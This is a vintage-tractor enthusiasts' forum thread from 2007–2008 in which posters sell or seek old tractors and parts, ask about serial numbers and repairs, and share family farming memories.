Con wrote on Thursday, February 14, 2008 (PST):I have a Samson 3 wheeler in my shop. It is complete but the engine has been frozen up for 30-40 years. Head is off and cylinder walls are deeply pitted. Would like to know if anyone out there would like to purchase it restore it. Tractor ser# is 2116. Model is S25. Engine number is 7338. Has GMC emblem on tag on engine. Don t know what year it is.
al.cooley wrote on Thursday, February 14, 2008 (PST):In the early 60 a my dadey baught a 1949 case SC it was the first tractor we ever owned kind of like puppy love I have been in love with thes old tractors ever sence maby it is becarse I am a 49 modle myself
Mike Biggs wrote on Thursday, February 14, 2008 (PST):Yes, I drove the farmall B. It was my grandparents. My cousin owns the tractor now. Mikie B.
Tony Boulding wrote on Wednesday, February 13, 2008 (PST):I have a I think a 1949 Cub with a belly mower and it works real good. The tractor is in good shape. Got me a bigger tractor and would like to sell my cub don!t need two tractors Will take 1200.00 for it
lcurtis wrote on Monday, February 11, 2008 (PST):I have a 54 Fordson Major Diesel and it tries to run when I hit it with starter fluid but acts like it is starving for fuel. I primed it and when it cranks there is fuel at the injectors. Any suggestions to get it running
Jim Castleman wrote on Monday, February 11, 2008 (PST):I have a 33 and two 44 s one with an original wide front end. Spent a lot of long hours on a 1950 44 when it was new and for the next seven years.
Ty wrote on Saturday, February 09, 2008 (PST):Looking for the value of 1945 John Deere LA with implements. Tractor is in good running condition.
Ralph wrote on Saturday, February 09, 2008 (PST):I have a 1952 VAC model for sale. It has a 1 year old Brush hog and blade. I am asking 2200. Runs great, just drove it this morning. Does anyone know a good place to list it for sale 614.271.6524 I can send pictures if you send email to DrRalphy at AOL dott com.
John Gallimore wrote on Saturday, February 09, 2008 (PST):Hello, I bought a very sad 1953 pony for my 50th birthday, and have since restored it.I live in central France, where ponys can still be found, usually at the back of barns ! Arild Magne Olaisen wrote on Wednesday, December 19, 2007 PST ; The engine is indeed a simca Aronde Flash, with aluminium cylinder head.These engins were adapted from the car with massey harris castings. Also used was a peugeot engine.These machines were assembled in /northern France from 1951 to 1957, many being exported to the French African colonies. I have fitted a hydraulic pump from a renault 22 tractor, but would like to find the original type pump combined water and hydraulic in any condition. If I can be of help please e-mail me at gallimore.john at wanadoo.fr.
Josh Bradberry wrote on Friday, February 08, 2008 (PST):What is the price,condition,and location of this tractor
Josh Bradberry wrote on Friday, February 08, 2008 (PST):Is this tractor for sale
Bob wrote on Friday, February 08, 2008 (PST):I have an Oliver 18-28 tractor which I am trying to restore. I am having problems finding any parts to fit it. Should anyone know of a place, I would appreciate knowing about it.
Ian Chalmers wrote on Friday, February 08, 2008 (PST):I have a WF perol but goes great on kero when warm
Lester Brown Sr. wrote on Thursday, February 07, 2008 (PST):I have a tractor,that is in good condition, Is s a Oliver Hart-Parr printing on the front of the tractor, wood seat, whees or metal, rubber tires, for the age of this tractor it s in great condition, WANT TO SELL TRACTOR FOR WHAT IT IS VALUED AT. if interested in buying please contact me ASAP, I can send picture, and other information please contact me only if serious in making genious offer. I m in Austin Texas.
paul thompson wrote on Wednesday, February 06, 2008 (PST):I have 2 leader tractors which are complete both needs restoring --would sell one or both please inquire by phone 731-695-4624
arlene wrote on Tuesday, February 05, 2008 (PST):hi, am looking for an engine for our JDL,we need a Hercules engine,can anyone help us
john wrote on Monday, February 04, 2008 (PST):i have an old 1949 allis chalmer WD 45 and it has been in my family for 3 generations and it is still running perfect
Jody Hamm wrote on Monday, February 04, 2008 (PST):I am in need of a replacement gas tank for my B farmall.
Rob wrote on Monday, February 04, 2008 (PST):Found TD-20 I think in the bushes. Been rusting for quite a while. Missing the engine cover panels. Carburetor busted at connection point ice/thaw for 20 years . Could push a finger through the valve cover. Tracks/undercariage controls look viable. Radiator looks good. Looks like it s full of parts for anyone willing to pull it apart and clean all the rust off... Just bought a 1952 Cat D2 - So I can part with the TD20 for a fair offer. Near Abany NY. -Rob
richard richter wrote on Sunday, February 03, 2008 (PST):where can i get these tracks for my tractor .do thay still make them thank you
Brett wrote on Sunday, February 03, 2008 (PST):I have John Deere A 1941 starter on top of fly wheel slant dash .It all so has the D head lights on it . It runs and some of the tin is missing. I am not going to restore it what do you think it is worth
Jim Alloway Ohio/Wv border close to I-77 wrote on Saturday, February 02, 2008 (PST):i believe my G is a 1953, runs pretty good, has hyd. lift plow,cult,mowing machine,parts mowing machine, belt pulley, replacement manual, good tires. Would be a great little tractor to restore. I pull roller with it. 3750.00
Terry Rust wrote on Friday, February 01, 2008 (PST):I am looking for a Heisler Overdrive unit or similar unit for my F14.
Frank Pina wrote on Friday, February 01, 2008 (PST):RE; Oliver HG-42 306A080 Hercules engine Looking for water pump - Thanks for any advice/help Please Call Frank at 707 963-4672
Matt keech wrote on Thursday, January 31, 2008 (PST):My dad recently sold our 9n to our cousin. I used to always drive it the only thing was the starting gear was busted. we now have a 1960 massey-ferguson 35 diesel deluxe english model . the 9n was a all round good tractor except for the gas engine.
Rich wrote on Thursday, January 31, 2008 (PST):Phil contact me. The phone # given is incorrect.
T. M. Stroup wrote on Wednesday, January 30, 2008 (PST):We have two WD-45s on our farm. One was made in 1953 and was restored by my grandpa in 97. It was a wedding present to grandpa from his dad. He liked it so much he bought another one brand new in 1954. It has a loader on it. Both have narrow fronts and have been in the family since they were new.
Jim Broughton wrote on Tuesday, January 29, 2008 (PST):To Carrie; Remove the inspection plate underneath the clutch housing and put tractor in neutral..start up engine and check for noise in the clutch. If the metal to metal noise persists..check the shaft that the gear runs on..it may be worn or out of round. You may have to wind up splitting the tractor to find the source. Good luck, sorry I couldn t be more help. Jim B.
PHIL wrote on Monday, January 28, 2008 (PST):hi, i own a john deere,model H, 1941 tractor, is anyone interested in buying.tel 07720887966.
Chris Edy wrote on Sunday, January 27, 2008 (PST):Information Needed; I have a IH T20 The left steering lever will not put the left track in Idel Somtimes it will work but mostly not Does anyone have a sujestion It seems to be sticking
Chris Edy wrote on Sunday, January 27, 2008 (PST):I am looking for information; I have a Mccormick T20 The left control lever will not relese the Left track Brakes work fine Somtimes it will releice the left track but seems to stick most of the time Does anyone have a sujestion I have clened the brake disks on the back. cedy at sonic.net
Auburn Prince wrote on Saturday, January 26, 2008 (PST):As you can tell by our e-mail address my wife and myself are retired and enjoying life. Howerver at this age in life a man needs something a little extra to interest him, so I joined a tractor club. Would like to buy a 1944 International H to restore and have for the club.Can anyone tell me what one is worth that is average with a three point hitch, 12 volt, narrow front Thanks to anyone,Auburn Prince
Mark wrote on Saturday, January 26, 2008 (PST): I have a rare 1942 Case V forsale In very good condition, no rust or dings in metal.Runs,no smoke.Shown at the museum of the appalachia.For more Info call me 423-784-1899
Mark wrote on Saturday, January 26, 2008 (PST): I have a rare 1942 Case V forsale in very good condition no rust or dings on metal,runs,no smoke.Shown at the museum of the appalachia. for more Info call me 423-784-1899
Mark wrote on Saturday, January 26, 2008 (PST): I have a rare 1942 Case V forsale in very good condition no rust or dings on metal. Runs,no smoke,Shown at the museum of the appalachia for more Info call me 423-784-1899
Mark wrote on Saturday, January 26, 2008 (PST): I have a rare 1942 Case V foresale In very good condition no rust or dings on metal.Runs no smoke.I show it in the museum of the appalachia.For more Info call me 423 784 1899.
Mark wrote on Saturday, January 26, 2008 (PST): I have a rare 1942 Case V for sale.It s in very good condition; no rust or dents in metal. Was shown at the Museum of Appalachia Fall Homecoming Show. Need more info Call me 423 784-1899. I can email pictures.
Stan Davis wrote on Friday, January 25, 2008 (PST):I have two 8n 6 cyl. Funk tractors and one needs a starter replaced. Does any one know where I can purchase a starter I would sell one if anyone is interested. Thanks
Donald Duinlap wrote on Friday, January 25, 2008 (PST):Will buy a D10. Contact Donald Dunlap,812 273 2364.
Art Jette wrote on Thursday, January 24, 2008 (PST):I have a 1951 M that my grandfather had owned. My uncle drove into the bench mounted vise in the garage years ago and bent the grille. The real damage occurred when he tried to hammer it out. I d really like to find a replacement grille. If anyone can help me, please call collect 207.277.3518
arnold denney wrote on Wednesday, January 23, 2008 (PST):I once owned an L Industrial. It was originally used as a right of way mower by the State of Kentucky. The state seal was still visible under the re-paint job. All I had with it was a side mounted sickle mower with some pieces missing. It had a two piece bolt-on pulley on the driveshaft to power the mower. Somneone mentioned a low oil pressure when their engine became warm. Mine did the same. It had babbit rod bearings and they were worn badly. I don t know whether a machinist could convert anything to insert type bearings. I replaced my original Hercules engine with one from a John Deere combine. That engine had inserts and was a sleeved engine, as I recall. I had a lot of fun with this tractor and my small children enjoyed trips around the farm and through the woods. We later moved into town and didn t need the tractor anymore. I sold it to a man in Casey County, Kentucky about 1976. I think he worked for the Kentucky Department of Highways.
george warrington c/o wrote on Tuesday, January 22, 2008 (PST):I acquired a case SC with tiller it run like new and is vvery easy to start
Don Hamill wrote on Monday, January 21, 2008 (PST):I would trade an untyled John Deere A , round spokes, nice tractor for an Oliver Super 44 with hydralics. Don Cell 214-202-1701
Don Sullivan wrote on Monday, January 21, 2008 (PST):I am still looking for someone to help me find out how many 1954 SMTA tractors were made with out the TA and how many had an all fuel engine too. Thanks Don 810-367-6054
m littleton wrote on Monday, January 21, 2008 (PST):My husband is looking for 2 15 inch rims 5 on 5 bolts 3 1/2 wide center for 1941 Case SC
Mark wrote on Monday, January 21, 2008 (PST):JUST got a great running 47 farmall A series culti-vision tractor in Premo condition on a trade for 27 fence posts...YEP I had to deliver the posts...its more fun than my 20 thousand dollar Kubota B21 with backhoe. IS there a Grader blade attachment for these farmall tractors What a HOOT !!!
Allen Quigley wrote on Saturday, January 19, 2008 (PST):My grandpaw owned the first Oliver 70 that came off the assembly line. It was used on our farm in North Liberty,Ind. up util around 1964. My father,grandfather both worked at a Oliver dealership in Lakeville,Ind. for quite a few years,before running their own tractor repair shop. I would like to know who owns #1 now. Please email with any information,thanks
Dave Gierszewski wrote on Saturday, January 19, 2008 (PST):Am working on a 1922 8-16 International that belongs to the Rollag show, Rollag MN. This tractor runs great but the original frame had broken and has been patched. Anyone with just a frame out there Also looking for fender supports , have a source for duplicate fenders.
Don Griffey wrote on Friday, January 18, 2008 (PST):My brother recently passed away, and I am executor. We have a 1935 Model D, partially restored, starts and drives, new rear tires, older front rubber tires. As executor, I am going to sell this tractor to pay off some estate bills. If interested, contact me. 918 798 4700.
Geary Blackwood wrote on Thursday, January 17, 2008 (PST): Want to purchase a leader tractor that is in good condition or has been restored. Please call 919-624-9800
Bill Hickey wrote on Wednesday, January 16, 2008 (PST):My 52 cub has a problem. I put new plugs in it last week but they are turning a sooty black. Noticed today that the carb is icing up. Any suggestions
johnny b. wrote on Tuesday, January 15, 2008 (PST):just bought a dexta tring to find out what year it is ,its blue and with orange rims and grill.i found some #s on back of motor 09b702626 on left side on right side 957e7005t3 anybody know what i have bought please tell me thanks
carrie wrote on Monday, January 14, 2008 (PST):My husband and I own a 1948 Cub. Just completed restoration on it. It made a metal against metal sound in the tranny before and it still is. Replaced lots of parts. We think it may be the reverse idler gear. Took it back apart and put a used one in. Put it back together and it still makes the same darn noise. Stops making the noise when you take the gear out and turn it by hand. Just wondering what you all think. Any help appreciated.
Sylvain Lépine wrote on Sunday, January 13, 2008 (PST):This E-Mail is for Allan Eaton, do you still have your engine of your 1949 Massey Harris tractor that got water into it because I have one just about the same and I am missing the generator on it Do you want to sell parts or you only want to sell the hole thing in one piece
J.B, Bailey wrote on Sunday, January 13, 2008 (PST):I own and use a D-15 series II almost every week. Grew up around Allis s . Don t think a better tractor has ever been built.
Roy Hudson wrote on Saturday, January 12, 2008 (PST):My Dad had a super 44 bought new in 1959 we pulled 2/12 inch bottom plows easy. We sold it at aution in 1995 still running.
wayne wrote on Saturday, January 12, 2008 (PST):hi i have a 1971 ford 3500 ind. w/1100 hours but the front tires were replaced w/ car tires and i need the original tire size to put it back original
Todd wrote on Friday, January 11, 2008 (PST):Mr Vangness Your posting referred to some parts that you still for a Farmall Regular.Would they be for sale and What all do you have Thanks
This is to chris bennett wrote on Friday, January 11, 2008 (PST): I am owner of an Ixb5 series Leader tracto. An I know how hard it to find parts for then. An as for selling it, LETS PUT IT THIS WAY. iF i HAD TO MAKE A CHOICE BETWEEN MY WIFE AND THE LEADER. THE LEADER WOULD PROBABLY WIN..... Chris do you have a list of the parts you have, as they are hard to come by. I would appreciate a copy , even if I had to donate to you . I am sure other owners would a copy also.. waiting to hear from you
Dave Potratz wrote on Thursday, January 10, 2008 (PST):I have a very rare 1936 Case RC for sale. It has been restored and has new rubber. This tractor has the straight on steering wheel, unlike the chicken roost later models. I can also be reached at 712-240-7203.
Jason Siegert wrote on Thursday, January 10, 2008 (PST):My grandfather only bought one new tractor. It is a Farmall Model H Serial FBH - 8527. I want to restore it. Does anyone Know What Year it is and if it is worth it. Where to find parts and cost. I would say tractor is in fair condition. Engine cover and small parts are rusted away. Any Help
Joe wrote on Wednesday, January 09, 2008 (PST):If any one can give me any information on how you can set up a 60 s radiator curtain please respond back on this site
Norm Vangsness wrote on Monday, January 07, 2008 (PST):I must concur completely with Mr Rahilly. My father also bought a Farmall or Regular which is what they were called after the F-30 and F-20 made the scene . Bucking broncos is what they were. Lots of power in low gear as long as they had traction. You really couldn t stop them in the field. The thing I remember most, never pop the clutch. Those drive gears would walk the thing right over on top of you. Also, in the the evening driving the regular , the flame would really shoot out of that bell muffler . My father, later bought a newer F-20 and parted out both the Farmall and older F-20. I still have a few part such as engine canopy and aircleaner assembly.
Sharon Thornton wrote on Monday, January 07, 2008 (PST):Need help Pre-20/30 Oliver steel wheeled tractor was stolen from my property. It had huge steel wheels in with spikes front tires also steel smaller . Tractor seat was nearly over the back axle. Tractor was not running but all parts intact. I am wondering what model Oliver this is and about how much it would be worth. Also if anyone may have a picture of one. Please e-mail me.
LeRoy Orr wrote on Sunday, January 06, 2008 (PST):I would truly love to have a 53 G Gas tractor. I would take care of it like one of my own children. nothing sounds like it and I love listening to it running and better yet pulling a good load. It s music to my ears. My early farm life had a couple of G John Deere Tractors in the yard. I miss it so!
paul ford wrote on Friday, January 04, 2008 (PST):i have a superC my dad and i live in ms we love these old tractors
Don Sullivan wrote on Thursday, January 03, 2008 (PST):I have a 1954 Super M without TA never had a TA,also is an all fuel engine too. Can anyone tell me how I can find out how many of these tractors were made.810-367-6054 Thanks
Don Sullivan wrote on Thursday, January 03, 2008 (PST):I have a 1954 Super M without TA never had a TA,also is an all fuel engine too. Can anyone tell me how I can find out how many of these tractors were made.810-367-6054 Thanks
Andy Johnson wrote on Tuesday, January 01, 2008 (PST):I operated a 1900 Oliver with dual wheels and cab for my father. It was a powerful tractor for its time. I am trying to remember how many feet of chisel plow we pulled and think it may have been about 18 to 19 feet. There was also some kind of automatic depth setter that a neighbor predicted would quit working he was right . Now I would like to find a 1;16 tractor in this configuration so I cann wallow around in nostalgic memories. Andy Johnson
Edward Decker wrote on Sunday, December 30, 2007 (PST):It s good to see this site for Pony owners. I used to own one myself. It was a 1949, in great shape. Bought it in 1997, restored it, used it for 7 years equiped with a snowplow. I also ran a hydraulic wood splitter from it, and a Thomas Watson #1 rock crusher. It worked like a charm. You know what The only problem I had in 7 years was with the distributer getting damp and causing misfiring when the engine was cold Despite having all NEW Distributer cap, rotor, wires and plugs Yea...as you would probably guess, I realy miss that old pony...You know, if I had my time back, I wouldn t have sold it. I found some pictures from the restoration, and the more I look at them, I want to track it down and buy it back, if they re willing sell....Anyway, if anybody reads this and they are thinking about selling their own pony, stop and think first how life will be without it. Cheers!
JEFF BUTZ wrote on Sunday, December 30, 2007 (PST):I am restoring a 42 oliver 70 Not sure of proper paint colors on grille area. seen them painted different ways
A.E.S. wrote on Sunday, December 30, 2007 (PST):Had a GREAT 420C, agricultural green , back in WV but had to leave it to come to OR. Really miss it as it was my means of getting around on the farm as I am a 100% disabled vet. It brought me many an hour of enjoyment and wish I had it here with me now....they are a good size for doing even big jobs. I had it rebuilt several years ago with new steering cluches and brakes and even had it re-painted and new decals applied, boy do I miss it. We live in the mountains just like back in WV and as it has snowed here the past few days I could sure have fun pushing snow....did I mention that I miss playing on my toy , as my wife called it. For those of you that have your 420 s KEEP them as they are a GREAT joy, if not even for work.
Pat Loughlin wrote on Sunday, December 30, 2007 (PST):My dad had a 820 with a pony, I loved working ground with that old tractor.
Pat Loughlin wrote on Sunday, December 30, 2007 (PST):I m looking for a nice 220 to restore,willing to trade 62 chevy pickup in deal.
John I. Pyke wrote on Saturday, December 29, 2007 (PST):Q. I have a 1947 D. Is the electrical system a 6 volt or 12 volt reply requested....Please!
Doug Distel wrote on Saturday, December 29, 2007 (PST):I just bought a MH Pony and would like to restore it. I need pretty much all sheet medal. Anoyher parts tractor would be nice. The serial no. is PGA9320A and doesn t fit in the serial number guide. Does anyone know what year it is Thanks for your help.
Tom York wrote on Friday, December 28, 2007 (PST):I have a great super 55 diesel that needs a hood. Anyone know a source for sheet metal Thanks.
stephen darche wrote on Friday, December 28, 2007 (PST):I BOUGHT A M/H GRC 44 HIGH ARCH WIDE FRONT END. I AM LOOKING FOR THE STEERING ROD GUARD THAT GOES JUST BELOW THE FRONT GRILL.MY TRACTOR IS A 1949 ;THE METAL IS IN GOOD SHAPE AND IT RUNS GREAT.ALSO I AM LOOKING FOR A 3 PT HITCH.DEC 28 2007.
Corey Wilt wrote on Thursday, December 27, 2007 (PST):I am looking for a Samson M tractor. My great-great-grandfather bought a Samson M brand new back in 1922 and it was our first tractor on the farm. I live in Everett, Pennsylvania, and it would bring great joy to my family if i could find one before my great-grandfather is gone. The tractor had wide front end and fender wells on it! IF anyone has any information on this subject please e-mail me!! Thank you very much.
Dave Anderson wrote on Monday, December 24, 2007 (PST):I have a 1952 MC. I am looking for steering cluches. I would also lick to find a engine model MC or 40
Hal Nason wrote on Monday, December 24, 2007 (PST):I have a Massey Harris tractor model 102 SR serial # 263881 which I plan to restore starting this winter. I read on another site that the difference between a 101 and a 102 is the 101 uses gasoline and the 102 uses distillate fuel. What is distillate fuel The previous owner was trying to use gasoline would this be the reason it would not run properly Thanks in advance for any help.
Mike wrote on Sunday, December 23, 2007 (PST):I have at-20 and a friend installed a fly wheel and starter that works great. It s called the Mobaum starter system.
Rod Eldred wrote on Sunday, December 23, 2007 (PST):I currently have a 1967 D-15 Series II Which I m wanting to restore. The only thing that s holding me back are rear fenders. The tractor is all original and runs great. Please write me back if you have any leads. I would like to complete this project for my great uncle, from whom I bought it from, He bought it new, he s 90.
James Hinton wrote on Saturday, December 22, 2007 (PST):I have 2 F-20 tractors that I am willing to sell parts off of, or would sell them to be restored. I know there is a rebuilt head as well as new pistons and sleaves and also 2 other heads. You can contact me at 270-668-5326 in north central KY. Thanks.
denise wright wrote on Saturday, December 22, 2007 (PST):we have a BF AVERY model V tractor we need to know where to find the date it was made. I m sure its on there somewhere just dont know where to look. thanks in advance
Harold Dalton wrote on Thursday, December 20, 2007 (PST):have a 1957 HD3 new motor owner s and service manuel tractor is in better than average shape changed hobbys would like to sell
Richard wrote on Tuesday, December 18, 2007 (PST):I am in need of schematic or wiring diagram that will help my father-n-law convert a 6 volt to 12 volt on a 1945 model h . Any help is very much appreciated. He said he was removing the 6 volt generator and replacing with a 12 volt alternator with built in regulator.
Chris bennett wrote on Monday, December 17, 2007 (PST):I have leader parts for sale rear ends trans rims etc...let me know what you need..merryxmas!!
James Cunningham wrote on Monday, December 17, 2007 (PST):If you still have the 1937 F20 Farmall that you listed in September 2007, I would like to ask some questions about it and would also like to know where you are located. You can contact me by phone at 903-577-8065. Thank you.
merle wrote on Sunday, December 16, 2007 (PST):this is a good looking tractor.I have just purchased a vai case that looks very near that.I;m not shur what year I have but think it may be a 1951.I was told it was a 1945 when I purchased it ,my serial no. is VAI5559508.Its nice to see others like what you have.
Randy wrote on Saturday, December 15, 2007 (PST):I just bought a JD 3010 gas tractor. I am in the process of restoring it. While sandblasting the rear tire rim a rusted spot became a hole. Does anyone know how I can repair the rim or find a new one Thanks
dromonedog wrote on Friday, December 14, 2007 (PST):Does anyone know where to tract the serial numbers of MF98 in relation to the year they were built and what is the drawbar horsepower rating on them
Wayne Harper wrote on Friday, December 14, 2007 (PST): i have a friend who found a old tractor in a draw it says it was made by minneapolis steel we belive it is about a 26 year it says it is a THE MINNEAPOLIS the motor is in sideways but all there we are going to get it next week but can not find out a lot about it the model no. is WH7R. ENYTHING ENYBODY CAN TELL ME WOULD BE GREAT thank you from wyo.
jenielle deiss wrote on Friday, December 14, 2007 (PST):i got a wc i just started pulling this year. my dad paints tractors so all our allis s look really good. it looks like this one needs some work.
mark sheets wrote on Thursday, December 13, 2007 (PST):I just bought back a 1959 Oliver 880 Propane that I owned from 1980-1987. Does anyone know how many of the 880 LP s were made How about a 1650 and 1850 LP model, I also have interest in one of each of them. thanks
BRETT wrote on Thursday, December 13, 2007 (PST):CAN ANYBODY TELL ME WHAT THE FIRST AND LAST SERIAL NUMBERS ARE FOR EACH FIELDMARSHALL SERIES OR WHERE I COULD GET THIS INFO MANY THANKS. MY EMAIL IS bkp at mweb.co.za
lapin bertrand wrote on Thursday, December 13, 2007 (PST):i am posting a super 77 oliver tractor for a widow, it is in perfect shape as far as i know- she would like to sell it or find out what it is wourth. thanks
charles h petrie wrote on Wednesday, December 12, 2007 (PST):am looking for the two piece brake shoes for my 49d leader tractor,or where i can have some made got a sample to go by thanks chuck
James Frederick wrote on Wednesday, December 12, 2007 (PST):I have a massey harris pony serial# pga 16635 can you tell me what year it is. Thanks
Eric wrote on Wednesday, December 12, 2007 (PST):My wife and I bought a fordson major diesel about 1.5 year ago from her grandmother. we recently had a tire on the rear of it go flat and to dry rotted to fix the size on it was 13.6-38 and used truck tires on the front size 215-85-16 we were wondering if this it the right size for it. While we have the tires off of it we are having the rims sandblasted so we can repaint them, we were also wondering what is the correct color of paint for the rims on this tractor What is the correct color of blue for the tin work The closest year that I have been able to come up with is 1954, but if you have any good idea of how to find out the actual year or where I can find the numbers to figure it out I would appreciate it. The tractor also had a loader on it that we are not going to put it back on for hopes of someday restoring it in the future. We are located in Illinois Thanks for your help.
Bruce wrote on Tuesday, December 11, 2007 (PST):The serial numbers for the 2010 are etched on the top of the tranny housing at the rear of the tranny cover. If you are sitting in the seat it is under your left side on the rear corner of the cover plat on top of the tranny.I have seen 6 2010 serial numbers and none are on a plate they are engraved into the cast iron.
d.sanford wrote on Sunday, December 09, 2007 (PST):looking for quadrant and lever for Pacer 2 bottom plow mounted underneath back,anywhere thanks,Dave
Norman Fike wrote on Sunday, December 09, 2007 (PST):There was an AC-B sold at Mark Ball s Auction in Terra Alta, Wv. in April of 2002. It used to be my grandfathers, would like any information of it s wherebouts if at all possible. Thank you. Phone 304 -518-9020 I just purchased a 1939 AC-B. Anyone intrested in year models can go to Serial No. on yesturdays tractors and find your year of manufacturing.
E. Morgan wrote on Sunday, December 09, 2007 (PST):I have an elderly friend who has an F12 1938 with steel wheels, a cultivator, and a sickle bar to sell, but we need to know the going prices. The tractor ran a few years ago and was used occassionally by her husband. It starts with a hand crank. Any help in getting it priced would be appreciated. Dec. 9, 2007
Richard Coulter wrote on Sunday, December 09, 2007 (PST):On the silver king web sitethere are two silver king tractor brochures displayed The lower or second displays a 3 wheel model with only horizontal structure in the grill. when did this manufacturing change take place What significance is this in determining the year and model. i am woking from a picture only and do not have the serial number. can you help me determine the age of my father s silver King in my picture
cary hager wrote on Saturday, December 08, 2007 (PST):I have a 1952 pony with hydraulic lift want to know if there is a way to convert from 2 point to 3 point hydraulic system on my tractor. Tractor is totaly restorerd looks great. Hope some one can help me thanks.
Dave wrote on Friday, December 07, 2007 (PST):Have several of the old 420/430 Tractors. Enjoy restoring and using them. Always looking for a new project tractor to restore, Especially the standards, and tall high crop tractors. Feel free to call me at 330 416-4613 if you have a tractor youd like to sell. Thanks!
Ken Snider wrote on Thursday, December 06, 2007 (PST):Looking to buy a 1955-1956 Massey Harris 44 Special, Factory LP, narrow front end. Restore or restorable. As orginal as possible.
JR reich wrote on Wednesday, December 05, 2007 (PST):I bought a case sc model tracter about 2months ago. the tractor runs great,works wonderful,but my problem is i don t know what year it is and the tag on the dash is gone ,any way of telling what year it is I love the tractor ,I mowed my 8 acers with it and then did my mother in laws place with it and after sitting for 2 years seems to want to go and do more. Any information I can get on it would be greatly helpfull. I also need to know how to maintain it to keep it running good please if you have anything Email me thank you
Tom Ryan wrote on Tuesday, December 04, 2007 (PST):FOR SALE; John Deere Model 1949 R, fully restored – sandblasting, painting, rewiring, engine rebuild, new tires all around, new seat, radiator flushed and cleaned out, full decal kit, new PTO pressure plates, new clutch plates, new battery and battery cables ... and much more. This tractor is in mint condition and must be seen to be appreciated. Call Tom Ryan 519-393-6985 South Western Ontario, Canada or email; thomas.ryan at quadro.net for further information.
Judith Thomas wrote on Tuesday, December 04, 2007 (PST):My dad had a GP, not sure what year. He had a jig in front that he used to chop firewood for our furnace in an old farmhouse in Michigan. Sold it to a neighbor in the early 80 s. God bless whoever has it now...thanks for the memories!
Cody Sheppard wrote on Monday, December 03, 2007 (PST):I am looking for a Sheppard Diesel Tractor and would be interested in the sign Mr Dorty Please Call 512-734-0303
joey sharp wrote on Sunday, December 02, 2007 (PST): sorry forgot to say this was a 1974 4000 diesel
JOSH DELSMAN wrote on Sunday, December 02, 2007 (PST):I have one lindeman crawler i realy like these old jd tractors! DALLAS, OR
Larry wrote on Saturday, December 01, 2007 (PST):I would like to buy a S/K Model 42. Please contact at 618 569-3047
Josh Wilson wrote on Saturday, December 01, 2007 (PST):My Oliver 70 only has a four speed trans in it. I m told that this tractor came on steel. I wondered if the trans was missing the two higher gears or if they were just locked out.
Fred Helmuth wrote on Saturday, December 01, 2007 (PST):I am interested in purchaseing a super 44..call me on my cell at 217 246 6124 Thanks Fred
Duane Eleson wrote on Saturday, December 01, 2007 (PST):I have a Model K Allis crawler . No blade but hydraulics added to pull farm equipment. Not sure of the year or serial number , but if you contact me i can find out. Will sell if I can receive reasonable offer.
Robert Peter wrote on Thursday, November 29, 2007 (PST):I am restoring A td-35. Is there anyone who is reproducing seat cushions, and arm rests I don t have any seat springs or frames left. Also is the imput shaft on the transmission the same on a td-35 and t-40 Also is the color the same as the td-6 series
Robert Peter wrote on Thursday, November 29, 2007 (PST):I am restoring A td-35. Is there anyone who is reproducing seat cushions, and arm rests I don t have any seat springs or frames left. Also is the imput shaft on the transmission the same on a td-35 and t-40
joel wrote on Thursday, November 29, 2007 (PST):dave who posted msg 8-25-06 about b parts pleasew contact me
joel wrote on Thursday, November 29, 2007 (PST):dave who posted msg 8-25-06 about b parts pleasew contact me
Ron Naslund wrote on Thursday, November 29, 2007 (PST):I have driven several of these from CC s and SC s to DC s and they were all pretty good tractors. Easy steering for the day and decent horsepower. My stepfather had a DC and CC and a friend had two DC s, one brand new in 1954 with a mounted plow. I have a friend Dennis Bjorling that owns a DC and a SC and wants to sell them as he has no interest in them. Both have loaders on them and one has new rear tires. The engines ran a while back and we are working to get them going again so we can get them in the machine shed.
Walter wrote on Wednesday, November 28, 2007 (PST):Would like information on Cletrack crawler possibly 1920 s vintage or older. 6 cylinder gas. Motor has H on the head casting. # 35 cast into radiator housing. photos available.
Walter wrote on Wednesday, November 28, 2007 (PST):Would like information on Cletrack crawler possibly 1920 s vintage or older. 6 cylinder gas. Motor has H on the head casting. # 35 cast into radiator housing. photos available.
Henri Naths wrote on Tuesday, November 27, 2007 (PST):HI I have a 1962 770 diesel I think I need to redo / replace the clutch as it is adjusted all the way and still grabs. Has anybody done this and can give me some hint. Any information would be appreciated.
Ralph Berz wrote on Monday, November 26, 2007 (PST):My grandfather and my father owned 3 Rumely 6 tractors using them for their custom farming business in the 1940 s in and around Oakland county Michigan. 11-26-2007
Joe Fox wrote on Wednesday, November 21, 2007 (PST):I would like to purchase 55 massey harris tractor. I live in Ohio. My collection now includes a MH Pony,20,101jr.33, and a 44-6. I have always liked MH tractors.
Joe Fox wrote on Wednesday, November 21, 2007 (PST):I would like to purchase 55 massey harris tractor. I live in Ohio. My collection now includes a MH Pony,20,101jr.33, and a 44-6. I have always liked MH tractors.
Tony wrote on Tuesday, November 20, 2007 (PST):My grandfather had a 1948 cub international that he purchased new for 807.65. The model # was fcub 14844. When he passed away in 1972, my dad sold the tractor and it is something he has regretted doing ever since. Does anyone know how I might be able to locate this tractor if it still exists or where I might be able to purchase one for my dad. Thanks, Tony
Tony wrote on Tuesday, November 20, 2007 (PST):My grandfather had a 1948 cub international that he purchased new for 807.65. The model # was fcub 14844. When he passed away in 1972, my dad sold the tractor and it is something he has regretted doing ever since. Does anyone know how I might be able to locate this tractor if it still exists or where I might be able to purchase one for my dad. Thanks, Tony
jarnoldjacobs wrote on Monday, November 19, 2007 (PST):as of this date I have not been able to visiably see where the hydrolic oit go s into the tractor to fill the reservior cavity. My hydrolics works very slow.
Alan wrote on Saturday, November 17, 2007 (PST):I have a massey 98 currently under restoration. I grew up on this tractor. My dad bought it in 1970 and we repaired it and farmed with it for about 25 years. in St.John Washington. I also have a Model R John Deere that is about 90 % restored. Dad bought that one in 1969 and it has been in almost constant use until 3 years ago when I restored it
Bryan Lloyd wrote on Friday, November 16, 2007 (PST):I have a 1952 Cockshutt 40 with the budda 6 cyl gas, has a leaking head gasket and wouyld like to rebuild it next year assuming it survives the winter doing snowplowing, any info on where to find a rebuild kit for this machine would be greatly appreciated
Wayne Mullican wrote on Thursday, November 15, 2007 (PST):I am completing restoration on a M Farmall that my Dad started a year or more ago.He was adding 12 volt sys.,m w full time hyd.,m w hand clutch.ever thing has been redone like new.He passed on May 1-2007.He always worked on tractors,and was good at it.this M will be a shower.
